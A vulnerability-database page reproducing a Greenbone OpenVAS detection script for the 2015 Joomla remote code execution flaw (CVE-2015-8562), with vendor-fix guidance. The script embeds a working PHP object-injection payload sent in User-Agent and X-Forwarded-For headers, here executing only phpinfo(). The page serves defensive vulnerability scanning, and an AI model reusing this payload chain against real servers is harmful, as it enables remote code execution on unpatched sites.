Lucene search
+L

Joomla! 1.5.0 < 3.4.6 RCE Vulnerability - Active Check

🗓️ 16 Dec 2015 00:00:00Reported by Copyright (C) 2015 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 114 Views

Joomla! 1.5.0 < 3.4.6 RCE Vulnerability - Active Check. Allows remote code execution with Joomla versions 1.5.0 through 3.4.5

Related
Refs
Code
# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:joomla:joomla";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105486");
  script_version("2026-04-30T06:27:06+0000");
  script_cve_id("CVE-2015-8562", "CVE-2015-8563", "CVE-2015-8564", "CVE-2015-8565");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2026-04-30 06:27:06 +0000 (Thu, 30 Apr 2026)");
  script_tag(name:"creation_date", value:"2015-12-16 15:35:12 +0100 (Wed, 16 Dec 2015)");
  script_name("Joomla! 1.5.0 < 3.4.6 RCE Vulnerability - Active Check");
  # nb: The done injection requests might be already seen as an attack...
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_dependencies("joomla_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("joomla/http/detected");

  script_xref(name:"URL", value:"https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210414025439/http://www.securityfocus.com/bid/79195");

  script_tag(name:"summary", value:"Joomla! is prone to a remote code execution (RCE)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response for
  the output of the phpinfo() command.");

  script_tag(name:"insight", value:"Browser information is not filtered properly while saving the
  session values into the database which leads to a Remote Code Execution vulnerability.");

  script_tag(name:"impact", value:"Successfully exploiting this issue allows attackers to execute
  arbitrary code in the context of the affected application.");

  script_tag(name:"affected", value:"Joomla! versions 1.5.0 through 3.4.5.");

  script_tag(name:"solution", value:"Update to version 3.4.6 or later.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_active");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

vtstrings = get_vt_strings();

if( dir == "/" )
  dir = "";

ex = 'phpinfo();JFactory::getConfig();exit';
ex_len = strlen( ex );

agent = '}__' + vtstrings["default"] + '|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"' +
        "\0\0\0" + 'disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql"' +
        ':0:{}s:8:"feed_url";s:' + ex_len + ':"' + ex + '"' +
        ';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"' +
        "\0\0\0" + 'connection";b:1;}';

agent += '\xf0\xfd\xfd\xfd';

injection = make_list( "User-Agent:", "X-Forwarded-For:" );

host = http_host_name( port:port );
cookie = NULL; # nb: To make openvas-nasl-lint happy...

foreach inj( injection ) {
  for( i = 0; i < 4; i++ ) {
    url = dir + "/";
    req = 'GET ' + url + ' HTTP/1.1\r\n' +
          'Host: ' + host + '\r\n' +
          'Connection: close\r\n';

    if( cookie ) req += 'Cookie: ' + cookie + '\r\n';

    req += 'Accept-Encoding: identity\r\n' +
           'Accept: */*\r\n' +
           inj + ' ' + agent + '\r\n\r\n';

    res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

    # nb: Just to the next iteration to have a fresh cookie set...
    if( ! cookie ) {
      co = eregmatch( pattern:'Set-Cookie: ([^\r\n]+)', string:res );
      cookie = co[1];
    }

    if( ! res || res !~ "^HTTP/1\.[01] 200" )
      continue;

    if( concl = http_check_for_phpinfo_output( data:res ) ) {
      report = http_report_vuln_url( port:port, url:url );
      report += '\nConcluded from:\n' + concl;
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Apr 2026 00:00Current
9High risk
Vulners AI Score9
CVSS 27.5
EPSS0.98283
114